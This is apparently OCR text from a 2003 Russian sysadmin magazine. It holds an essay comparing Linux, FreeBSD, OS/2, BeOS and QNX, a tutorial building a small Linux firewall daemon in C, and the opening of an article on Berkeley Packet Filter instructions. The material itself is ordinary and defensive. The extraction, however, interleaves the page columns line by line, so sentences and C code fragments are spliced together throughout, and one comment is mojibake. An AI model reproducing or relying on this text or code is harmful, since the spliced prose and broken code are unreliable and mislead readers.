бильная, безопасная операцион- лекте получаю большую кучу проблем троить DoS (Denial of Access) атаку –
ная система… Но где же эти рупо- не только с тем, что было вроде как всё это на уровне ядра и не требует
ры, когда в лучшие месяцы «уро- нормально для *nix систем ранее (ло- особых знаний со стороны атакующе-
жая» можно свой Linux-сервер гичность, стабильность системы), но го. Список этих проблем постоянно
«патчить» и «апгрейдить» до по- и с тем, что я должен был получить за пополняется… Это что касаемо ядра.
тери пульса… (для затравки: серия то, что мой (не самый старый) ком- В дистрибутивы также любят встраи-
ядер 2.4.x до десятого-одиннадца- пьютер чувствует себя не очень важ- вать программы типа sendmail, тради-
того точно; sendmail, который с тем но – удобство, комфорт и реальную ционно небезопасные. Кто бы мне
же самым упрямством до сих пор замену Windows. ещё объяснил: зачем по умолчанию
живёт по умолчанию на львиной Из чистого интереса решил я со- запускать практически все возмож-
доле распространенных дистрибу- брать свой дистрибутив Linux (да- ные сервисы?
тивов, и многое-многое другое). да… знаю старую шутку о том, что
 Очень многие почему-то любят за- количество дистрибутивов Linux уже Unix FreeBSD
являть, что программы с открыты- превысило количество его пользова- Буду откровенен с читателем: эта си-
ми исходниками по определению телей, но ведь на то он и Linux?) У стема – моя любовь. Эти чувства она
значительно хуже коммерческих меня сразу было несколько задач и ог- снискала себе за очень многое. По-
лишь потому, что фирмы обычно раничений: небольшой винчестер на жалуй, что я определил бы её как одну
не склонны делиться своими нара- 120 Mb, процессор на 200 MHz, 12 Mb из немногочисленных *nix-систем, со-
ботками. И, естественно, ПО от оперативной памяти, ну и задача: хранивших зыбкий баланс современ-
Microsoft в подобных заявлениях сделать нормальный серверный ди- ности и классической логичности.
выступает как ярчайший пример… стрибутив. Мне было достаточно Однако обратимся к фактам.
Почему же столь многим кажется, того, что система грузилась и имела В большинстве своём эта система
что Билл Гейтс – бездарный руко- на себе также компилятор и веб-сер- используется для серверных реше-
водитель, программист и бизнес- вер… Кому интересно, могу сказать, ний. Также имеет свою популярность
мен? Ещё огромное количество что всё это уместилось менее чем в у программистов, и в качестве третьей
вопросов «почему?» зависают в половину объема винчестера. Чув- категории пользователей можно за-
воздухе и, похоже, не найдут от- ствовала себя машина просто пре- метить людей, перешедших на Unix
вета в ближайшее время. восходно. Выводы делайте сами. FreeBSD с Linux, когда надоедает бар-
Последний аспект работы с ОС дак с дистрибутивами, проблемы с
С позволения читателя останов- Linux: безопасность и работа в каче- пакетами и иногда просто с логикой
люсь более подробно на ранее напи- стве сервера. Здесь всё чертовски построения системы. Однако почему
санном «обзывании» Linux Mandrake. интересно. С точки зрения теории, так происходит?
Возможно, что после этой фразы у Linux – это сетевая операционная си- На серверы FreeBSD зачастую по-
меня появилось много новых «дру- стема, поскольку является одной из падает по одной простой причине.
зей», но извините – что вижу, то и пою. вариаций на тему *nix-систем (а не Система не стремится быть супер по-
Займёмся конкретикой: на данный наоборот, как я встретил в книге по пулярной и следовать всем новомод-
момент минимальные системные тре- Linux RedHat 6.2 c диском Linux ным явлениям, вместо этого основ-
бования для Linux Mandrake 8.1 сле- RedHat Cyrillic Edition 6.2), а посему на ным для разработчиков является ста-
дующие: процессор – Intel Pentium этом фронте всё должно быть спокой- бильность и логика работы. Unix
233; память – от 64 Mb; HDD – 1.5 Gb но. Но это – если руководствоваться FreeBSD не столь требовательно к
(по информации с www.linuxcenter.ru). чистой логикой и рассматривать тео- железу как Linux, хотя имеет практи-
На седьмой ветке это были минималь- рию. Примемся за рассмотрение чески всё тот же «ассортимент» про-

50
администрирование
граммного обеспечения. Ну и кроме талоге /cdrom/packages, если CD-ROM OS/2 – это детище IBM, которая
того, команда разработчиков, видимо, смонтирован в соответствующем ка- решила в своё время попасть ещё и
проповедует принцип безопасности талоге). на рынок операционных систем (не
прямо «из коробки», то есть большин- Эмуляция Linux – это несколько зря, видимо, говорят, что история раз-
ство никому не нужных сервисов про- каталогов портов (или соответствен- вивается по спирали… Неспроста это
сто отключено; всё, что есть, установ- но несколько пакетов), позволяющие рисование пингвинов на улицах горо-
лено с вполне приемлемыми для сер- запускать программы для Linux с не- да…). И всё бы с ней было хорошо,
вера опциями. доступными исходными текстами под но существует такое понятие, как «по-
Программистам эта система мо- Unix FreeBSD, так, например, работа- явиться раньше времени». По край-
жет понравиться уже хотя бы и тем, ют VMWare, Adobe AcrobatReader и ней мере, именно такой «диагноз» ей
что с самого момента установки в многое другое. ставят многие. Технически это была
системе ставится компилятор, как Теперь о менее приятном, но том, весьма грамотная система, но пользо-
одна из опций есть установка пол- что есть в любой системе: недостатки. ватели, как это часто бывает, прого-
ного набора исходных текстов с Минусы следующие: у системы не лосовали кошельком. Результат вы
весьма логичным и понятным уст- очень много разработчиков, пользо- можете лицезреть на большинстве
ройством каталогов. И нет никаких вателей и того, без чего не выживет десктопов – про «полуось», как её лю-
проблем с документацией. В боль- ни один проект – инвесторов. Посему бовно называют, знают немногие, а
шинстве случаев вся документация в FreeBSD реализовано может быть Windows, с которым была конкурен-
весьма чётко синхронизирована с не всё, что хотелось бы. Нечем осо- ция, стоит у подавляющего большин-
бинарными продуктами. бенно сильно хвастаться и в области ства.
Ну а кому надоел Linux, эта плат- поддержки железа (не то чтобы драй- На данный момент существует до-
форма может нравиться тем, что всё веров было мало, но в том же Linux статочно «тёплый» клуб почитателей
находится, как было сказано на одном их всё же больше). В минус можно OS/2 (www.os2.ru, например), дей-
из форумов www.linux.org.ru, «под од- зачислить и не особенную понятность ствительно готовый всегда помочь.
ной крышей». Весьма чёткая структу- системы новичку – сложновато на- Бесплатная поддержка этой системы
рированность системы, достаточно звать её дружелюбной, напичканной IBM на данный момент уже заверше-
простой апгрейд системы. всевозможными мастерами, – скорее на, что добавляет проблем для конеч-
Стоит ещё описать фирменные уж системой, чётко подчинённой ло- ных потребителей. Ответ на вопрос
«фичи» системы, к каковым относят- гике и поддерживающей старинные «почему» весьма прост: при попытке
ся система портов и возможность эму- традиции *nix-систем (впрочем, не в установки «полуоси» на сколь-либо
лировать Linux. ущерб прогрессу). современный компьютер возникает
Физически порты – это каталог Существуют, несомненно, и ошиб- действительно большое количество
/usr/ports, в котором весьма красиво ки в самой системе, существуют и не- проблем – в основном по причине про-
разложен своеобразный индекс про- достатки, которые можно, конечно, блем с драйверами, какими-то на-
граммного обеспечения, портирован- исправить, но всё же оставляют не- стройками и прочим, прочим, прочим.
ного под Unix FreeBSD и не включён- которое не особо приятное впечатле- Однако многие уверяют, что для сла-
ного в основную установку. Причём ние (например, Unix FreeBSD 4.4 име- беньких машинок (например, 386 про-
установка любой необходимой про- ла, видимо, не особо оттестирован- цессор, 40 Mhz, 12 Mb RAM & 350 Mb
граммы при наличии подключения к ный FAT32 filesystem драйвер, а пото- HDD) это будет просто идеальный ва-
сети производится парой команд: му «куролесила» при записи на эти риант.
разделы, или необходимость установ- Сложновато придётся с поиском
# cd /usr/ports/{NameOfSection}/ ки порта для чтения русских имён на программного обеспечения, посколь-
{ProgramName}
# make install; make clean CD-ROM диске, последнее, впрочем, ку пользователей и разработчиков
обещают точно исправить в 5-ой вет- программного обеспечения для этой
Первую строку удобнее будет рас- ке). платформы немного, а мало-мальски
смотреть на примере – нам нужно по- Ну, с FreeBSD всё, но у нас есть и последние продукты пишутся про-
ставить эмулятор Windows – WINE. другие системы… граммистами-энтузиастами в боль-
Тогда серия команд весьма проста: шинстве случаев не без помощи фон-
… and others (QNX, OS/2, да свободного программного обеспе-
# cd /usr/ports/emulators/wine BeOS) чения (ничего не имею против такого
# make install; make clean Не оставим без внимания и других слав- пути разработки, но никаких серьёз-
ных представителей ОСологии – OS/2, ных продуктов здесь ждать не прихо-
Для тех, у кого нет возможности BeOS и QNX. Интересны они многим, дится).
качать все необходимые исходники (а и, несомненно, имеют своих поклонни- BeOS – это чадо Be Inc. Основное
именно из них всё и собирается для ков и противников. У каждой из них есть освещение прессы и приток пользо-
конкретной системы), существуют какая-то своя характерная черта и что- вателей получило лишь после выхо-
уже скомпилированные пакеты наибо- то революционно новое, привнесенное да пятой версии, которая вышла в
лее популярных и нужных программ этой операционной системой. Впрочем, двух вариантах – Personal Edition (PE)
(обычно расположены на диске в ка- поподробнее о каждой. и Professional (Pro). Первая версия

№2(3), февраль 2003 51


администрирование
была свободно доступна для скачива- поскольку разрушает смысл весьма версию можно получить из Интерне-
ния и принципиальных отличий от легко применяемого к этой системе та вполне бесплатно для персональ-
«профессиональной» версии не име- словосочетания – интуитивно понят- ного изучения и некоммерческой раз-
ла. ный интерфейс… Впрочем, кому это не работки программ.
С самого начала эта система со- по душе – командная строка в виде Система весьма интересна по кон-
здавалась с «мультимедийным» укло- bash к вашим услугам. С программным цепциям, в неё заложенным, но основ-
ном (по замыслу создателей, она дол- обеспечением тут всё неплохо (пример ной круг её пользователей – это про-
жна/могла заменить MacOS, когда тому – огромный набор программ на фессионалы своего дела, реально
Apple стал искать для него альтерна- www.bebits.com и www.bebits.ru). Есть понимающие, зачем им это надо. По-
тиву), и вообще не для платформы за что похвалить систему по работе пасть на десктопы у этой системы
x86 (то есть процессоры от Intel, AMD с железом (PentuimII-350 Mhz, 128 Mb есть все шансы, но, возможно, в бу-
и прочие клоны этой архитектуры). Но RAM и 6 Gb HDD – полёт, в прямом дущем… Сейчас это просто та систе-
после того стало понятно, что по боль- смысле этого слова, нормальный). ма, о которой нужно знать, поскольку
шому счёту их решение по железу Много интересных инженерных и ди- у неё есть реальные шансы оказать-
никому не нужно, а попытка скопиро- зайнерских идей, мыслей и разрабо- ся полезной как на сервере (в этом
вать схему Apple (полный цикл произ- ток. В отличии от многих других под- качестве её можно использовать уже
водства, начиная от железа и закан- ходит для работы на рабочем столе сейчас), так и на рабочем столе обыч-
чивая программными продуктами) пользователя, поскольк у имеет ного пользователя.
дала сбой, то решено было первона- офис (от GOBE), совместимый с Этот раздел можно продолжать до
чально отказаться от производства Microsoft Office по форматам доку- бесконечности, поскольку количество
железа и сконцентрироваться только ментов, а также IRC и ICQ клиентов, операционных систем сейчас весьма
на операционной системе, а впослед- веб-браузер (Mozilla и Opera + свой велико (например, это AtheOS,
ствии и принято решение о переносе слабенький, но худо-бедно работа- MenuetOS и многие другие интерес-
BeOS на x86 платформу. Результат ющий NetPositive). ные системы), но, к сожалению ли, к
был потрясающим – система завора- В качестве минусов можно ска- счастью ли, пригодны для использо-
живает сразу… Однако Be Inc. зани- зать, что программное-то обеспече- вания немногие из них и, я надеюсь,
малась не только этим – также была ние есть, но вот оно или денег сто- что в этом обзоре они нашли наибо-
попытка продвигать на рынок свои ит, или не совсем устойчиво в рабо- лее полное отражение.
приставки (BeIA)… Результат весьма те… Да и драйвера всё же неидеаль-
плачевен – полный провал по всем ны, и есть не на всё железо (хотя у Итого
направлениям. Be Inc. куплена Palm, меня на это нареканий не было ни- Сложно подводить «итого» в такой
на момент написания этих строк судь- каких). Кроме того, слабо мне, чес- статье. Наверное, кто-то будет ждать
ба исходного кода BeOS ясна оконча- тно говоря, верится в судьбу столь от меня выводы о том, какой же опе-
тельно – код открытию и переводу под большого проекта в руках Open- рационной системой пользоваться,
какую-нибудь лицензию свободного/ Source Community… Вывести его на кто-то может ждать от меня очеред-
условно-свободного программного нормальный уровень работы будет ного проявления «нестандартной ори-
обеспечения не подлежит. непросто. Хотя если не стараться, то ентации» в этом сложном информа-
Впрочем, на этом не стоит зак- уж тем более ничего не получится. ционном мире, кто-то может ждать от
рывать альбом с яркой надписью QNX… Сложно точно сказать, как меня чего-то ещё… Я же скажу про-
BeOS – фанаты своей системы не эта система попала сюда. Ведь пред- сто: в этом «творении» мне хотелось
собираются так рано и так просто назначается она не совсем для деск- кому-то открыть глаза на происходя-
сдаваться, и реальна реинкарнация топ-использования. Причина тому щее, кого-то утвердить в мысли, что
системы как минимум в двух вари- проста – из всего обзора это един- он прав…
антах, совместимых, по обещаниям ственная система реального времени, И закончить эту статью хочется
разработчиков, с прародителем на основанная на микроядре и предназ- так, как заканчивали свою речь рим-
уровне исходных кодов. наченная (в теории) для промышлен- ские консулы, передавая власть сво-
Про BeOS написано не так уж и ных решений на базе x86 процессо- им преемникам: “Feci, quod potui,
много, но и не очень мало. Описывать, ра. faciant meloira potentes”, или по-про-
рекомендовать что-то по этой систе- Популярность к ней пришла после стому: «Сделал что мог, и пусть кто
ме – занятие весьма своеобразное, шага, аналогичного Be Inc. – шестую может, сделает лучше».

52
программирование

БРАНДМАУЭР Часть 2

В первой части статьи мы начали изучение одного из вариантов


построения брандмауэра, рассмотрели структуру его основной
составляющей – модуля ядра, а также получили навыки внесения
изменений в ядро операционной системы Linux.
В этой части мы рассмотрим две оставшиеся составные
брандмауэра – процесс-демон и программу инициализации и
запуска процесса-демона.

ВЛАДИМИР МЕШКОВ
54
программирование
Задача программы инициализации и запуска процесса
демона – принять исходные данные (правила фильтра-
ции) и запустить на выполнение процесс-демон, пере-
дав ему эти правила. В нашем примере правилами филь-
трации является IP-адрес хоста, чьи пакеты мы будем
блокировать.
Процесс-демон после активизации передает модулю
ядра правила фильтрации и в дальнейшем занимается
ведением log-файла, в котором фиксируется время за-
пуска/останова демона и попытки доступа с запрещен-
ного адреса.
Теперь давайте детально рассмотрим каждую состав-
ляющую.

Программа
инициализации и запуска
процесса-демона
Нижеприведенный программный код разместим в файле
sfc.c. Здесь будет находиться главная функция main().
Рассмотрение программы начнем с определения за-
головочных файлов и переменных.
Нам понадобятся следующие header-файлы:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include "sfc.h"

В файле sfc.h определено имя файла, в котором хра-


нится идентификатор процесса-демона (PID-файл). Файл
имеет следующее содержание:

#define PID "daemon.pid"

Идентификатор процесса-демона определим как гло-


бальную переменную:

static pid_t pid;

А теперь распишем главную функцию main().

int main (int argc, char *argv[])


{
void usage():

Это прототип функции для обработки неправильного


ввода параметров. Данная функция имеет следующий вид:

void usage()
{
fprintf(stderr,"\nUsage: daemon [ start / stop ]\n\n");
return;
}

Программа при запуске принимает один параметр,


определяющий режим ее работы:
 start – запустить процесс-демон на выполнение;
 stop – завершить выполнение процесса-демона.

Для работы нам понадобятся переменные:

№2(3), февраль 2003 55


программирование
 int pid_file – дескриптор файла для хранения иденти- Режим остановки выполнения процесса-демона
фикатора демона;
 struct stat s – структура для хранения атрибутов файла. if(!(strcmp(argv[1],"stop"))) {

Проверяем правильность ввода входных параметров: Для остановки процесса-демона необходимо получить
значение его идентификатора.
if(argc!=2) { Это значение извлекаем из PID-файла:
usage();
return (-1); pid_file=open(PID,O_RDONLY);
} if(pid_file<0) {
perror(PID);
return (-1);
Если входной параметр указан, определяем, какой }
режим работы задан. Их, как мы уже сказали, два.
if(read(pid_file,(char *)&pid,sizeof(pid_t)) < 0) {
perror(PID);
Режим запуска процесса-демона на выполнение return (-1);
}

if(!(strcmp(argv[1],"start"))) { close(pid_file);

Во избежание повторного запуска проверяем наличие PID-файл нам больше не нужен, удаляем его:
в текущем каталоге PID-файла. Если файл присутствует,
то демон уже запущен, о чем пользователь получает уве- if(unlink(PID) < 0) {
домление: perror(PID);
return (-1);
}
if(stat(PID,&s)==0) {
fprintf(stderr,"\nDaemon is allready running !\n\n"); Теперь останавливаем процесс-демон, послав ему сиг-
return (-1);
} нал SIGINT:

Инициализируем демон: kill(pid,SIGINT);


}

init_daemon(); На этом функция main() завершается:

Функция инициализации будет определена ниже. return (0);


}
Демон запустим как дочерний процесс.

pid = fork();
if (pid < 0) {
Процесс-демон
perror("fork"); Весь код, отвечающий за запуск, функционирование и
exit(1); остановку процесса-демона, разместим в файле
}
sf_daemon.c. По сути, этот файл будет представлять со-
if (pid==0) { бой набор функций.

Отсоединяемся от терминала: Заголовочные файлы и переменные


Вначале, как всегда, определимся с заголовочными фай-
setsid(); лами и переменными. Нам понадобятся:

Стартуем демон: #include <stdio.h>


#include <stdlib.h>
#include <fcntl.h>
start_daemon(); #include <time.h>
exit(1); #include <signal.h>
} #include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
Родительский процесс создает PID-файл и записыва- #include <linux/in.h>
ет в него идентификатор процесса-демона: #include "sf_daemon.h"

Файл sf_daemon.h имеет следующее содержание:


pid_file=open(PID,O_CREAT|O_TRUNC|O_RDWR,0644);
if(pid_file < 0) {
perror(PID); #include <linux/types.h>
return (-1); #include <linux/ip.h>
}
if(write(pid_file,(char *)&pid,sizeof(pid_t)) < 0) { Имя log-файла:
perror(PID);
return (-1);
} #define LOG "/var/log/daemon"
close(pid_file);
} struct data_log {

56
программирование
__u32 addr; Если установлен флаг готовности данных для считы-
int action; вания и поступил пакет с запрещенного адреса, фиксиру-
int ready;
}; ем это событие в log-файле:
if(data.ready==1) {
В этом файле определено имя log-файла и структура if(data.action==0) {
data_log, в которой хранятся данные для заполнения log-
if(fill_log(f,data.action,data.addr) < 0)
файла. Назначение полей структуры следующее: stop_daemon();
 __u32 – IP-адрес хоста (в сетевом формате), от кото-
}
рого поступил пакет; }
 int action – выполняемое действие (1 – разрешить про- }
}
хождение пакета, 0 – отбросить пакет);
 int ready – флаг готовности данных в устройстве для Заполнением log-файла ведает функция fill_log, к ней
считывания. мы еще вернемся.
Теперь подошла очередь функции инициализации.
Поскольку наш демон работает с двумя файлами (файл Напомню, что ее задача – передать модулю ядра правила
устройства /dev/firewall и log-файл), то необходимо опре- фильтрации (т.е. IP-адрес).
делить две переменные для хранения дескрипторов этих
файлов: void init_daemon()
{

int fddev=0; - äåñêðèïòîð ôàéëà óñòðîéñòâà; int err;


int f; - äåñêðèïòîð log-ôàéëà. struct iphdr ip_pack;

В структуре ip_pack, в поле saddr (адрес источника),


Функции будет находится запрещенный IP-адрес.
Первая функция, которую мы рассмотрим, останавлива- Обнулим эту структуру:
ет выполнение процесса-демона. Вот что она из себя пред-
ставляет: memset(&ip_pack,0,sizeof(struct iphdr));

void stop_daemon() и заполним поле адреса источника:


{
close(fddev);
stop_log(f); ip_pack.saddr=inet_addr("192.168.1.10");
exit(0);
}
Подготовим к работе log-файл. Если log-файл отсут-
Функция закрывает устройство, завершает ведение ствует, создаем его:
log-файла и осуществляет выход из программы.
Следующую функцию можно назвать центральной ча- f=open(LOG,O_CREAT|O_APPEND|O_RDWR,0644);
if(f<0) {
стью процесса-демона. Эта функция осуществляет непос- perror(«open log»);
редственный обмен данными с модулем ядра и заполня- exit(0);
}
ет log-файл. Главной особенностью данной функции яв-
ляется выполнение в бесконечном цикле, который преры- Теперь передадим модулю правила фильтрации. От-
вается только при поступлении сигнала SIGINT. крываем устройство в режиме чтения/записи:

void packet_loop(void) fddev=open("/dev/firewall",O_RDWR);


{ if(fddev<0) {
perror("firewall");
Структура для информационного обмена с модулем: exit(0);
}

struct data_log data; Записываем в него структуру ip_pack:

Размер блока данных, считанного из модуля: err=write(fddev,&ip_pack,sizeof(struct iphdr));


if(err<0) {
perror("firewall");
int count; stop_daemon();
}

Запускаем цикл: Итак, IP-пакеты, поступившие с хоста с адресом


192.168.1.10, будут заблокированы на входе нашей сис-
for (;;) { темы.
Выходим из функции:
Считываем из модуля данные, в случае ошибки завер-
шаем выполнение: return;
}
count=read(fddev,(char *)&data,sizeof(struct data_log));
if(count<0) stop_daemon(); Если вам не понравилось, что IP-адрес введен не-

№2(3), февраль 2003 57


программирование
посредственно в исходный текст, то можете усовершен- Функция start_log
ствовать код, считывая адрес из файла или из командной
строки. int start_log(int f)
{
Теперь рассмотрим функцию, которая осуществляет char buf[BSIZE];
запуск демона на выполнение. time_t start_t;
Обнулим буфер и получим текущее время:
void start_daemon()
{ bzero(buf,BSIZE);
time(&start_t);
Демон должен реагировать только на один сигнал –
SIGINT. При получении этого сигнала демон завершает Формируем буфер и записываем его в log-файл:
выполнение. Все остальные сигналы необходимо забло- sprintf(buf,"Daemon started at %s", ctime(&start_t));
кировать. if(write(f,buf,strlen(buf)) < 0) return (-1);
Определим переменные: return (0);
}
sigset_t mask;
static struct sigaction act;
Функция stop_log
Создадим полный набор сигналов, исключив из него Функции start_log и stop_log практически не отличаются
SIGINT: друг от друга, кроме имен переменных, поэтому привожу
код без комментариев:
sigfillset(&mask);
sigdelset(&mask,SIGINT);
int stop_log(int f)
{
Блокируем все сигналы: char buf[BSIZE];
time_t stop_t;
sigprocmask(SIG_SETMASK,&mask,NULL); bzero(buf,BSIZE);
time(&stop_t);
sprintf(buf,»Daemon stoped at %s», ctime(&stop_t));
Определяем новый обработчик для SIGINT: if(write(f,buf,strlen(buf)) < 0) return (-1);
close(f);
act.sa_handler=stop_daemon; return (0);
sigaction(SIGINT,&act,NULL); }

А теперь стартуем:
start_log(f);
Функция fill_log
packet_loop(); Эта функция, кроме дескриптора log-файла, принимает
exit(1); IP-адрес пакета, который был заблокирован (u_long addr),
}
и идентификатор выполненного действия (int action). Фун-
кция очень простая, и необходимости в комментариях я
LOG-файл не вижу.
Нам осталось рассмотреть функции для ведения log-фай- int fill_log(int f, int action, u_long addr)
ла. Их три: {
 start_log – запись о начале выполнения процесса-де- char buf[BSIZE];
time_t fill_t;
мона;
 fill_log – запись информации о блокировании IP-пакета; bzero(buf,BSIZE);
time(&fill_t);
 stop_log – запись об остановке выполнения процесса-
демона. if(action==0) {
sprintf(buf,"Packet from %s was rejected at
%s",inet_ntoa(addr), ctime(&fill_t));
Каждая из этих функций фиксирует текущее время if (write(f,buf,strlen(buf)) < 0)
return (-1);
возникновения того или иного события. return (0);
Все три функции разместим в файле sf_log.c. }
}

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
Makefile
#include <fcntl.h> Для сборки исполняемого модуля создадим Makefile сле-
#include <time.h> дующего содержания:
#include <sys/socket.h>
#include <linux/in.h>
#define BSIZE 80 CC = gcc
name = daemon
DAEMON = sfc.o sf_daemon.o sf_log.o
Все функции принимают в качестве аргумента деск-
$(name): $(DAEMON)
риптор log-файла, в который будет осуществляться запись $(CC) -g -o $(name) $(DAEMON)
информации. В случае удачного завершения операции все sfc.o: sfc.c
$(CC) -c sfc.c
функции возвращают 0, в случае ошибки -1. sf_daemon.o: sf_daemon.c

58
программирование
$(CC) -c sf_daemon.c рузить модуль ядра.
sf_log.o: sf_log.c После запуска демона в текущем каталоге появится
$(CC) -c sf_log.c
файл daemon.pid. Не удаляйте этот файл! В нем хранится
clean: идентификатор процесса-демона для возможности его
rm -f *.o
корректной остановки. Для остановки выполнения процес-
Здесь все должно быть вам знакомо. Ключ «-g» при са-демона введите команду:
успешной сборке можно будет заменить на «-s».
./daemon stop
Запуск и остановка выполнения
процесса-демона Файл daemon.pid автоматически удаляется.
После сборки в текущем каталоге появится исполняемый Информация о времени запуска и останова процесса-
файл daemon. Для его запуска наберите команду: демона, а также о заблокированных пакетах будет зафик-
сирована в файле /var/log/daemon.
./daemon start При подготовке статьи были использованы исходные
тексты и документация брандмауэра SINUS (http://
Перед запуском процесса-демона необходимо заг- www.ifi.unizh.ch).

№2(3), февраль 2003 59


программирование

ПАКЕТНЫЙ ФИЛЬТР
Если вы используете сетевой анализатор с выводом информации на консоль, то одна из проблем,
с которой вы столкнетесь, заключается в том, что анализатор не будет успевать отображать все
данные, поступившие из сети, и часть пакетов будет для вас потеряна.
ВЛАДИМИР МЕШКОВ
Это особенно актуально, если трафик очень плотный. Вто- Назначение полей структуры следующее:
рая проблема – вас могут интересовать только пакеты,  поле k – числовое значение операнда, с которым ра-
адресованные выделенным хостам, а не все подряд. Ре- ботает инструкция;
шение заключается в фильтрации входящих сетевых па-  поля jt (jump true) и jf (jump false) – меняют порядок
кетов по какому-либо определенному признаку, например выполнения инструкций;
по адресной части. Одним из вариантов решения являет-  поле code – код выполняемой инструкции.
ся использование оператора условия if, однако данное ре-
шение неэффективно. В этом случае ядру приходится вы- Существует 8 типов инструкций. Вначале их пере-
таскивать полный пакет из сети, на что отнимается про- числим, а потом остановимся отдельно на каждом. Итак,
цессорное время, затем анализатор вынужден «экзаме- вот эти 8 типов: BPF_LD, BPF_LDX, BPF_ST, BPF_STX,
новать» заголовок каждого пакета перед принятием ре- BPF_ALU, BPF_JMP, BPF_RET, BPF_MISC.
шения – отображать данные или нет. Оптимальным явля-
ется решение отсеять лишние пакеты как можно раньше, BPF_LD
на уровне драйвера сетевой карты. Ядро Linux позволяет Инструкция BPF_LD служит для загрузки в аккумулятор
сделать это при помощи пакетного фильтра. следующих величин:
 константы (BPF_IMM);
Описание языка BPF  блока данных, расположенных по фиксированному
Пакетный фильтр представляет собой последователь- смещению (BPF_ABS);
ность инструкций, составленных в кодах псевдо-машин-  блока данных, расположенных по смещению, которое
ного языка, который называется BPF – Berkeley Packet является переменной величиной (BPF_IND);
Filter. Этот язык был разработан Стивом Маккеном (Steve  длины блока данных (BPF_LEN);
McCanne) и Ван Якобсоном (Van Jacobson). BPF похож на  значения, находящегося в ячейке памяти
язык ассемблер. В нем, как и в ассемблере, есть регист- (BPF_MEM).
ры, инструкции для загрузки и хранения операндов, вы-
полнения арифметико-логических операций, условных и Для значений BPF_IND и BPF_ABS размер загружае-
безусловных переходов. Для работы с операндами в BPF мых данных должен быть задан как слово (BPF_W), полу-
используются регистр-аккумулятор (или просто аккуму- слово (BPF_H), байт (BPF_B). Здесь имеется в виду ма-
лятор), индексный регистр, ячейка памяти и внутренний шинное слово, которое равно числу разрядов в регистрах
программный счетчик. общего назначения. Для 32-х разрядных процессоров это
Формат инструкции языка BPF определяет следующая значение равно 4 байта.
структура: Примеры использования данной инструкции.

struct sock_filter { BPF_LD+BPF_W+BPF_ABS A <- P [ k : 4 ]


__u16 code;
__u8 jt;
__u8 jf; В аккумулятор загружается 4 байта из блока данных.
__u32 k;
}; Смещение в блоке данных задается константой k.

которая определена в файле <linux/filter.h>. BPF_LD+BPF_H+BPF_ABS A <- P [ k : 2 ]

60
программирование
В аккумулятор загружается 2 байта из блока данных. Сме- ся в ячейке памяти с адресом k.
щение в блоке данных задается константой k.
BPF_LDX+BPF_W+BPF_LEN X <- len
BPF_LD+BPF_B+BPF_ABS A <- P [ k : 1 ]
В индексный регистр загружается длина блока данных.
В аккумулятор загружается 1 байт из блока данных. Сме- Следующая инструкция позволяет быстро определить
щение в блоке данных задается константой k. размер заголовка IP-пакета:

BPF_LD+BPF_W+BPF_IND A <- P [ X + k : 4 -] BPF_LDX+BPF_B+BPF_MSH X <- 4 * ( P [ k : 1 ] & 0xF


)
В аккумулятор загружается 4 байта из блока данных. Сме- Длина заголовка находится в младших 4 битах нулевого
щение в блоке данных задается суммой переменных X и байта IP-пакета и содержит количество 32-битных слов в
константы k. Переменная X является значением, находя- заголовке. Поскольку минимальный размер заголовка 20
щимся в индексном регистре. байт (т.е. пять 32-битных слов), то минимальное значение
этого поля равно 5. Старшие 4 бита содержат версию про-
BPF_LD+BPF_H+BPF_IND A <- P [ X + k : 2 ] токола и для IPv4 это значение равно 4. Итак, предполо-
жим, что в нулевом байте находится значение 0x45. Эту
В аккумулятор загружается 2 байта из блока данных. Сме- величину мы загружаем в индексный регистр и осуществ-
щение в блоке данных задается суммой переменных X и ляем операцию логического И: 0x45 & 0xF = 0x5. Умноже-
константы k. Переменная X является значением, находя- ние на 4 эквивалентно логическому сдвигу на 2 бита в сто-
щимся в индексном регистре. рону старших разрядов, при этом значения старших раз-
рядов теряются. В итоге в индексном регистре будет нахо-
BPF_LD+BPF_B+BPF_IND A <- P [ X + k : 1 ] диться значение 0x5 * 4 = 0x14, в десятичном представле-
нии – 20. Это и есть длина заголовка IP-пакета в байтах.
В аккумулятор загружается 1 байт из блока данных. Сме-
щение в блоке данных задается суммой переменных X и BPF_ST
константы k. Переменная X является значением, находя- Инструкция BPF_ST служит для загрузки аккумулятора в
щимся в индексном регистре. ячейку памяти:

BPF_LD+BPF_W+BPF_LEN A <- len BPF_ST M [ k ] <- A

В аккумулятор загружается длина блока данных. Значение k определяет адрес ячейки памяти.

BPF_LD+BPF_IMM A <- k BPF_STX


Инструкция BPF_STX служит для загрузки индексного ре-
В аккумулятор загружается константа k. гистра в ячейку памяти:

BPF_LD+BPF_MEM A <- M [ k ] BPF_STX M [ k ] <- X

В аккумулятор загружается значение, находящееся в ячей- Значение k определяет адрес ячейки памяти.
ке памяти с адресом k. BPF_ALU Инструкция BPF_ALU выполняет арифме-
тико-логические между аккумулятором и индексным ре-
BPF_ST гистром или константой. Результат сохраняется в акку-
Инструкция BPF_LDX служит для загрузки в индексный муляторе.
регистр следующих величин:
 константы (BPF_IMM); BPF_ALU+BPF_ADD+BPF_K
BPF_ALU+BPF_SUB+BPF_K
A
A
<-
<-
A
A
+ k
— k
 значения, находящегося в ячейке памяти (BPF_MEM); BPF_ALU+BPF_MUL+BPF_K A <- A * k
 длины блока данных (BPF_LEN). BPF_ALU+BPF_DIV+BPF_K
BPF_ALU+BPF_AND+BPF_K
A
A
<-
<-
A
A
/ k
& k
BPF_ALU+BPF_OR+BPF_K A <- A | k
Примеры использования данной инструкции. BPF_ALU+BPF_LSH+BPF_K A <- A << k
BPF_ALU+BPF_RSH+BPF_K A <- A >> k
BPF_ALU+BPF_ADD+BPF_X A <- A + X
BPF_LDX+BPF_W+BPF_IMM X <- k
Здесь я не вижу необходимости в комментариях, все про-
В индексный регистр загружается константа k, размер зрачно.
которой составляет 4 байта.
BPF_JMP
BPF_LDX+BPF_W+BPF_MEM X <- M [ k ] Инструкция BPF_JMP изменяет порядок выполнения про-
граммы фильтрации. Данная инструкция может осуществ-
В индексный регистр загружается значение, находящее- лять как условный, так и безусловный переход между ин-

№2(3), февраль 2003 61


программирование
струкциями. При безусловном переходе (BPF_JA, jump Все изменения необходимо внести только в главную функ-
always) смещение задается 32-битным значением, при ус- цию. Перед тем как приступить к реализации пакетного филь-
ловном – 8-битным. тра, необходимо определить условия фильтрации. В нашем
